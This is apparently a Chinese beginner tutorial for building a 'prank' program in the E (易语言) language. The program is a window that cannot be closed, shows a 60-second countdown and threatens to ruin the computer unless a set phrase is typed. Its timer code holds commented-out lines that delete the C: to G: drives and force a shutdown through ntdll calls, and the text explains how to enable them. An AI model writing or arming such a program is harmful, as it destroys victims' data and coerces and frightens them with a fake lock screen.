易语言制作坑人程序（保姆级教程）

一、声明

此账号为“In Windows 11”的小号，如果需要转载文章请留下文章出处。

二、准备工作

1.易语言5.9

2.一台电脑

3.一个人（我不是在说废话吗）

易语言下载在文章末尾或者文章的资源

没有电脑请先购买

没有人是不可能的

三、起飞

①标准操作

注意，是窗口程序

点击Windows窗口程序

②添加组件

Menu（菜单）：

标签*1

时钟*1

进度条*1

按钮*1

编辑框*1

添加这些组件

③优化组件

写一些文明用语（主要在属性里面的“标题”，还有更改时钟的时钟周期为1000，进度条的最大位置和位置都为60）

成果

对了，我忘记把按钮的标题更改了，你们记得改哦

④打打代码

1.双击时钟，输入一下代码

.版本 2

.子程序 _时钟1_周期事件

.如果 (进度条1.位置 ≠ 0)
    进度条1.位置 ＝ 进度条1.位置 － 1
.否则
    ' 删除目录 (“C:/”)
    ' 删除目录 (“D:/”)
    ' 删除目录 (“E:/”)
    ' 删除目录 (“F:/”)
    ' 删除目录 (“G:/”)
    ' RtlAdjustPrivilege (19, 真, 0, 0)
    ' NtShutdownSystem (0)
    信息框 (“为了电脑的安全不会删除”, 64, “谢天谢地”, )

时钟周期

对了，这个代码运行后只会弹窗，不会对电脑造成威胁。如果想要玩刺激一点的，就删掉“信息框”那一句，再把所有的“单引号（'）”删掉。

重要信息（如果想要玩刺激就要看这里，否则跳过）：

---

新建DLL命令（菜单-插入-DLL命令）来到[DLL命令定义表]，输入以下内容（可以删掉那个“DLL命令1”）：

.版本 2

.DLL命令 RtlAdjustPrivilege, 整数型, "ntdll.dll", , , ,
    .参数 se_, 整数型
    .参数 true_, 逻辑型
    .参数 hprocess, 整数型
    .参数 ret, 整数型, 传址

.DLL命令 NtShutdownSystem, 整数型, "ntdll.dll", , , 0为关机，1为重启
    .参数 se_, 整数型

然后，OK

2.点击窗口的属性

找到下面的“在此处选择加入事件处理子程序”，点击“鼠标左键被按下”，输入That：

鼠标左键被按下

代码：

.版本 2

.子程序 __启动窗口_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型

信息框 (“如果你在60秒后没有输入，你的电脑就会报废”, 48, “严重警告（不是闹着玩的）”, )

3.编辑按钮

编辑按钮，输入以下内容：

.版本 2

.子程序 _按钮1_被单击

.如果 (编辑框1.内容 ＝ “我是GGBong”)
    信息框 (“点击关闭”, 64, “正确”, )
    结束 ()
.否则
    信息框 (“如果你在60秒后没有正确输入，你的电脑就会报废”, 48, “错误”, )
.如果结束

按钮

 4.非常重要的一步

如果不做这一步，那么你的程序就可以直接关闭。为了防止这种行为，我们需要加入代码。新建   _启动窗口的子程序，名为“可否被关闭”。

.版本 2

.子程序 __启动窗口_可否被关闭, 逻辑型

返回（假）

可否被关闭

好了，现在就做完了。

四、结尾

在这个基础上，你也可以修改代码。我是一个小白中的小白中的小白，如果有什么不对或者建议， 欢迎大家提出。

警告：

此程序对你的电脑可能有威胁，请勿随便打开。记住一句话，数据无价

五、附件

 易语言：

敬请期待，马上上线